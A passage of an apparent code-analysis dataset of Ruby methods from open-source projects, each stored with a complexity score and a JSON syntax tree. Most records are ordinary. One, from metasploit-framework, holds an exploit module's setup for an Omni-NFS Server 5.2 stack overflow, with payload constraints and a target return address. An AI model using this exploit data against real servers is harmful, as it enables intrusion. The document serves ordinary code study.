end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_semantic_segments\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"semantic_segments\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"semantic_segments\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"segment\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"segment\"]},\"key?\",{\"type\":\"str\",\"children\":[\"timelinePath\"]}]},{\"type\":\"send\",\"children\":[null,\"parse_semantic_timeline_path\",{\"type\":\"lvar\",\"children\":[\"segment\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"segment\"]},\"key?\",{\"type\":\"str\",\"children\":[\"visit\"]}]},{\"type\":\"send\",\"children\":[null,\"parse_semantic_visit\",{\"type\":\"lvar\",\"children\":[\"segment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"segment\"]},\"dig\",{\"type\":\"str\",\"children\":[\"activity\"]},{\"type\":\"str\",\"children\":[\"start\"]},{\"type\":\"str\",\"children\":[\"latLng\"]}]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"parse_semantic_activity\",{\"type\":\"lvar\",\"children\":[\"segment\"]}]}]}]}]}]}]}","id":"47f3b2bf-4703-4967-918a-d2222bcfba00"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20210422171642_add_indexes_to_comments.rb","start_line":4,"raw_source":"def up\n    add_index :comments, :commentable_type, algorithm: :concurrently unless index_exists?(:comments, :commentable_type)\n    add_index :comments, :deleted, algorithm: :concurrently unless index_exists?(:comments, :deleted)\n    add_index :comments, :hidden_by_commentable_user, algorithm: :concurrently unless index_exists?(:comments, :hidden_by_commentable_user)\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_exists?\",{\"type\":\"sym\",\"children\":[\"comments\"]},{\"type\":\"sym\",\"children\":[\"commentable_type\"]}]},null,{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"comments\"]},{\"type\":\"sym\",\"children\":[\"commentable_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_exists?\",{\"type\":\"sym\",\"children\":[\"comments\"]},{\"type\":\"sym\",\"children\":[\"deleted\"]}]},null,{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"comments\"]},{\"type\":\"sym\",\"children\":[\"deleted\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_exists?\",{\"type\":\"sym\",\"children\":[\"comments\"]},{\"type\":\"sym\",\"children\":[\"hidden_by_commentable_user\"]}]},null,{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"comments\"]},{\"type\":\"sym\",\"children\":[\"hidden_by_commentable_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]}]}]}]}","id":"23ae952f-7441-416a-9113-1663e23a63d9"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/config/views.rb","start_line":79,"raw_source":"def respond_to_missing?(name, _include_all = false)\n        return false if NON_FORWARDABLE_METHODS.include?(name)\n\n        config.respond_to?(name) || base_config.respond_to?(name) || super\n      end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_to_missing?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"_include_all\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NON_FORWARDABLE_METHODS\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_config\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}]}","id":"6b1cc9e5-4540-4066-9ff7-4a2edfa18a08"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/test_case_test.rb","start_line":6,"raw_source":"def setup\n    @object = Class.new do\n      attr_accessor :num\n      def increment\n        self.num += 1\n      end\n\n      def decrement\n        self.num -= 1\n      end\n    end.new\n    @object.num = 0\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@object\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attr_accessor\",{\"type\":\"sym\",\"children\":[\"num\"]}]},{\"type\":\"def\",\"children\":[\"increment\",{\"type\":\"args\",\"children\":[]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"num\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"def\",\"children\":[\"decrement\",{\"type\":\"args\",\"children\":[]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"num\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"num=\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"5615d80b-6e7e-4d50-bd84-177ca62b66fa"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/services/user_merger_spec.rb","start_line":166,"raw_source":"def given_daily_like_count_for(user, date)\n      GivenDailyLike.find_for(user.id, date).pluck(:likes_given)[0] || 0\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"given_daily_like_count_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"date\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GivenDailyLike\"]},\"find_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"date\"]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"likes_given\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"int\",\"children\":[0]}]}]}","id":"f67ab8ce-5f90-49cb-bcd9-71f5f651df69"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/admin_fonts_form.rb","start_line":30,"raw_source":"def show_more_fonts(section)\n        find(\"[data-name='#{section}_font'] .admin-fonts-form__more\").click\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"show_more_fonts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"section\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[data-name='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section\"]}]},{\"type\":\"str\",\"children\":[\"_font'] .admin-fonts-form__more\"]}]}]},\"click\"]}]}","id":"b597dfa8-dd34-4ca4-aa32-a08c40e9e4a5"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/test/indifferent_hash_test.rb","start_line":166,"raw_source":"def test_slice\n    assert_equal Sinatra::IndifferentHash[a: :a], @hash.slice(:a)\n    assert_equal Sinatra::IndifferentHash[b: :b], @hash.slice(?b)\n    assert_equal Sinatra::IndifferentHash[3 => 3], @hash.slice(3)\n    assert_equal Sinatra::IndifferentHash.new, @hash.slice(:d)\n    assert_equal Sinatra::IndifferentHash[a: :a, b: :b, 3 => 3], @hash.slice(:a, :b, 3)\n    assert_equal Sinatra::IndifferentHash[simple_nested: { a: :a, ?b => :b }], @hash.slice(:simple_nested)\n    assert_equal Sinatra::IndifferentHash[nested: { a: [{ a: :a, ?b => :b }, :c, 4], ?f => :f, 7 => 7 }], @hash.slice(:nested)\n  end","complexity_score":26.95,"ast_json":"{\"type\":\"def\",\"children\":[\"test_slice\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sinatra\"]},\"IndifferentHash\"]},\"[]\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"sym\",\"children\":[\"a\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hash\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"a\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sinatra\"]},\"IndifferentHash\"]},\"[]\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"b\"]},{\"type\":\"sym\",\"children\":[\"b\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hash\"]},\"slice\",{\"type\":\"str\",\"children\":[\"b\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sinatra\"]},\"IndifferentHash\"]},\"[]\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[3]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hash\"]},\"slice\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sinatra\"]},\"IndifferentHash\"]},\"new\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hash\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"d\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sinatra\"]},\"IndifferentHash\"]},\"[]\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"sym\",\"children\":[\"a\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"b\"]},{\"type\":\"sym\",\"children\":[\"b\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[3]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hash\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"sym\",\"children\":[\"b\"]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sinatra\"]},\"IndifferentHash\"]},\"[]\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"simple_nested\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"sym\",\"children\":[\"a\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"b\"]},{\"type\":\"sym\",\"children\":[\"b\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hash\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"simple_nested\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sinatra\"]},\"IndifferentHash\"]},\"[]\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nested\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"sym\",\"children\":[\"a\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"b\"]},{\"type\":\"sym\",\"children\":[\"b\"]}]}]},{\"type\":\"sym\",\"children\":[\"c\"]},{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"f\"]},{\"type\":\"sym\",\"children\":[\"f\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[7]},{\"type\":\"int\",\"children\":[7]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hash\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"nested\"]}]}]}]}]}","id":"0bf5a35f-a335-4353-be83-5e52a8cc0a4d"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/module/attribute_accessor_test.rb","start_line":7,"raw_source":"def setup\n    m = @module = Module.new do\n      mattr_accessor :foo\n      mattr_accessor :bar, instance_writer: false\n      mattr_reader   :shaq, instance_reader: false\n      mattr_accessor :camp, instance_accessor: false\n\n      cattr_accessor(:defa) { \"default_accessor_value\" }\n      cattr_reader(:defr) { \"default_reader_value\" }\n      cattr_writer(:defw) { \"default_writer_value\" }\n      cattr_accessor(:deff) { false }\n      cattr_accessor(:quux) { :quux }\n\n      cattr_accessor :def_accessor, default: \"default_accessor_value\"\n      cattr_reader :def_reader, default: \"default_reader_value\"\n      cattr_writer :def_writer, default: \"default_writer_value\"\n      cattr_accessor :def_false, default: false\n      cattr_accessor(:def_priority, default: false) { :no_priority }\n    end\n    @class = Class.new\n    @class.instance_eval { include m }\n    @object = @class.new\n  end","complexity_score":40.2,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"ivasgn\",\"children\":[\"@module\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Module\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mattr_accessor\",{\"type\":\"sym\",\"children\":[\"foo\"]}]},{\"type\":\"send\",\"children\":[null,\"mattr_accessor\",{\"type\":\"sym\",\"children\":[\"bar\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_writer\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"mattr_reader\",{\"type\":\"sym\",\"children\":[\"shaq\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_reader\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"mattr_accessor\",{\"type\":\"sym\",\"children\":[\"camp\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_accessor\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cattr_accessor\",{\"type\":\"sym\",\"children\":[\"defa\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"default_accessor_value\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cattr_reader\",{\"type\":\"sym\",\"children\":[\"defr\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"default_reader_value\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cattr_writer\",{\"type\":\"sym\",\"children\":[\"defw\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"default_writer_value\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cattr_accessor\",{\"type\":\"sym\",\"children\":[\"deff\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cattr_accessor\",{\"type\":\"sym\",\"children\":[\"quux\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"quux\"]}]},{\"type\":\"send\",\"children\":[null,\"cattr_accessor\",{\"type\":\"sym\",\"children\":[\"def_accessor\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"default_accessor_value\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"cattr_reader\",{\"type\":\"sym\",\"children\":[\"def_reader\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"default_reader_value\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"cattr_writer\",{\"type\":\"sym\",\"children\":[\"def_writer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"default_writer_value\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"cattr_accessor\",{\"type\":\"sym\",\"children\":[\"def_false\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cattr_accessor\",{\"type\":\"sym\",\"children\":[\"def_priority\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"no_priority\"]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@class\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@class\"]},\"instance_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"lvar\",\"children\":[\"m\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@object\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@class\"]},\"new\"]}]}]}]}","id":"b626dfd2-f7c3-4e32-ad38-46881ac5118a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/error_tracking/sentry_client/issue.rb","start_line":53,"raw_source":"def list_issue_sentry_query(issue_status:, limit:, sort: nil, search_term: '', cursor: nil)\n        raise BadRequestError, 'Invalid value for sort param' unless SENTRY_API_SORT_VALUE_MAP.key?(sort)\n\n        {\n          query: \"is:#{issue_status} #{search_term}\".strip,\n          limit: limit,\n          sort: SENTRY_API_SORT_VALUE_MAP[sort],\n          cursor: cursor\n        }.compact\n      end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"list_issue_sentry_query\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"issue_status\"]},{\"type\":\"kwarg\",\"children\":[\"limit\"]},{\"type\":\"kwoptarg\",\"children\":[\"sort\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"search_term\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"cursor\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SENTRY_API_SORT_VALUE_MAP\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"sort\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"BadRequestError\"]},{\"type\":\"str\",\"children\":[\"Invalid value for sort param\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"is:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue_status\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_term\"]}]}]},\"strip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"lvar\",\"children\":[\"limit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SENTRY_API_SORT_VALUE_MAP\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"sort\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cursor\"]},{\"type\":\"lvar\",\"children\":[\"cursor\"]}]}]},\"compact\"]}]}]}","id":"80b2eee2-bd02-4e4b-a69e-13fc93c56d10"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/spec/rspec/core/notifications_spec.rb","start_line":49,"raw_source":"def capture_and_normalize_aggregation_error\n        yield\n      rescue RSpec::Expectations::MultipleExpectationsNotMetError => failure\n        normalize_backtraces(failure)\n        failure\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"capture_and_normalize_aggregation_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"yield\",\"children\":[]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"Expectations\"]},\"MultipleExpectationsNotMetError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"failure\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"normalize_backtraces\",{\"type\":\"lvar\",\"children\":[\"failure\"]}]},{\"type\":\"lvar\",\"children\":[\"failure\"]}]}]},null]}]}","id":"4fce7725-5e35-4ecb-8a29-b5d913029398"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/nfs/xlink_nfsd.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Omni-NFS Server Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack buffer overflow in Xlink Omni-NFS Server 5.2\n          When sending a specially crafted nfs packet, an attacker may be able\n          to execute arbitrary code.\n        },\n        'Author' => [ 'MC' ],\n        'References' => [\n          [ 'CVE', '2006-5780' ],\n          [ 'OSVDB', '30224'],\n          [ 'BID', '20941' ],\n          [ 'URL', 'http://www.securityfocus.com/data/vulnerabilities/exploits/omni-nfs-server-5.2-stackoverflow.pm' ],\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n        },\n        'Payload' => {\n          'Space' => 336,\n          'BadChars' => \"\\x00\",\n          'PrepenEncoder' => \"\\x81\\xc4\\x54\\xf2\\xff\\xff\",\n          'StackAdjustment' => -3500,\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'Windows 2000 SP4 English', { 'Ret' => 0x0040bb2e } ],\n        ],\n        'Privileged' => true,\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2006-11-06',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([Opt::RPORT(2049)])\n  end","complexity_score":6.45,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[2049]}]}]}]}]}","id":"bc489261-5dec-427c-89d5-ec748efff464"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sql/set_operator.rb","start_line":25,"raw_source":"def initialize(relations, remove_duplicates: true, remove_order: true)\n        verify_select_values!(relations) if Rails.env.test? || Rails.env.development?\n        @relations = relations\n        @remove_duplicates = remove_duplicates\n        @remove_order = remove_order\n      end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relations\"]},{\"type\":\"kwoptarg\",\"children\":[\"remove_duplicates\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"remove_order\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"test?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"development?\"]}]},{\"type\":\"send\",\"children\":[null,\"verify_select_values!\",{\"type\":\"lvar\",\"children\":[\"relations\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@relations\",{\"type\":\"lvar\",\"children\":[\"relations\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@remove_duplicates\",{\"type\":\"lvar\",\"children\":[\"remove_duplicates\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@remove_order\",{\"type\":\"lvar\",\"children\":[\"remove_order\"]}]}]}]}","id":"61f0dca5-5dc9-47bb-9168-8d4b5cbddfc2"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/cooked_processor_mixin.rb","start_line":297,"raw_source":"def add_blocked_hotlinked_image_placeholder!(el)\n    el.name = \"a\"\n    el.set_attribute(\"href\", el[PrettyText::BLOCKED_HOTLINKED_SRC_ATTR])\n    el.set_attribute(\"class\", \"blocked-hotlinked-placeholder\")\n    el.set_attribute(\"title\", I18n.t(\"post.image_placeholder.blocked_hotlinked_title\"))\n    el << \"<svg class=\\\"fa d-icon d-icon-link svg-icon\\\" aria-hidden=\\\"true\\\"><use href=\\\"#link\\\"></use></svg>\"\n    el << \"<span class=\\\"notice\\\">#{CGI.escapeHTML(I18n.t(\"post.image_placeholder.blocked_hotlinked\"))}</span>\"\n\n    true\n  